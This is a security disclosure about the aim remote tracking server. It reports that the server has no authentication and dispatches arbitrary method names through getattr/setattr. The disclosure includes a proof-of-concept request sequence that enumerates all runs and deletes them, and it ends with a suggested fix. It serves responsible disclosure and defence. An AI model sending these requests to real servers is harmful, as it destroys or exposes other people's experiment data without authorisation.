[Security] Unauthenticated arbitrary method/attribute dispatch on the aim remote tracking server (read all data, delete all runs)

[geo-chen]

Hi, is there a place I can disclose a potential security vulnerability please?

[geo-chen]

version: confirmed on 3.29.1

Summary

The aim remote tracking server (aim server) exposes an RPC that dispatches an
attacker-supplied method_name to getattr(resource, method_name) (and setattr for setter
names) with no allowlist and no authentication. Any network-reachable client can register
itself, instantiate a Repo resource, and invoke arbitrary methods on it, including
list_all_runs (read every experiment), delete_run/delete_runs (destroy experiments), and
other internal methods.

Details

aim/ext/transport/server.py registers the routes behind only CORSMiddleware; there is no
authentication dependency or middleware. The constant AIM_RT_BEARER_TOKEN in
aim/ext/transport/config.py is a placeholder ('__AIM_RT_BEARER_TOKEN__') that is never
checked anywhere.

aim/ext/transport/tracking.py (run_instruction):

resource_handler = request_data.get('resource_handler')
method_name = request_data.get('method_name')     # attacker-controlled
args = request_data.get('args')
self._verify_resource_handler(resource_handler, client_uri)   # only checks handler<->client_uri
...
resource = self.resource_pool[resource_handler][1].ref
if method_name.endswith('.setter'):
    setattr(resource, method_name.split('.')[0], checked_args[0])   # arbitrary attribute write
else:
    attr = getattr(resource, method_name)                          # arbitrary method, no allowlist
    if callable(attr):
        result = attr(*checked_args)

_verify_resource_handler only checks that the resource handler belongs to the request's
client_uri path parameter, both of which the attacker chooses (the connect handshake takes
an attacker-generated UUID and presents no token). So an attacker fully controls the resource,
the method name, and the arguments.

PoC

Validated against an aim server (PyPI 3.29.1, identical to repo HEAD), bound to
127.0.0.1:53800, with no credentials presented at any step.

BEFORE: list_all_runs() = ['ed788f8aba564f54898e730d']        # victim run exists

# 1. register an unauthenticated client (attacker-chosen UUID)
GET /client/connect/<attacker-uuid>/                          -> 200

# 2. instantiate a Repo resource (no token)
POST /tracking/<uuid>/get-resource/  {"resource_type":"Repo","args":...}  -> 200 {"handler":"..."}

# 3. dispatch an arbitrary destructive method
POST /tracking/<uuid>/read-instruction/
     {"resource_handler":"...","method_name":"delete_run","args":<b64(pack([run_hash]))>}  -> 200, result True

AFTER:  list_all_runs() = []                                  # run destroyed
        filesystem seqs/chunks/<hash> and meta/chunks/<hash>: removed

Bulk variant: method_name="list_all_runs" enumerates every run hash; method_name="delete_runs"
returns [True, []] (all wiped). Confirmed-fired methods: Repo.delete_run, Repo.delete_runs,
Repo.list_all_runs.

Impact

Any attacker who can reach the tracking server port reads all experiment data (metrics,
parameters, run metadata) and destroys all runs, with no credentials. The arbitrary
getattr/setattr dispatch additionally exposes every public method and attribute of the
server-side Repo, StructuredRun, TreeView (RocksDB set/delete/merge), and
FileManager resources, allowing data corruption beyond simple deletion. The server binds all
interfaces by default and has no authentication option.

Suggested remediation: require authentication on the tracking server (enforce a bearer token
on the connect/get-resource/read-instruction routes), and replace the getattr(resource, method_name) dispatch with a per-resource-type allowlist of permitted methods (reject setters
and any method not explicitly exposed).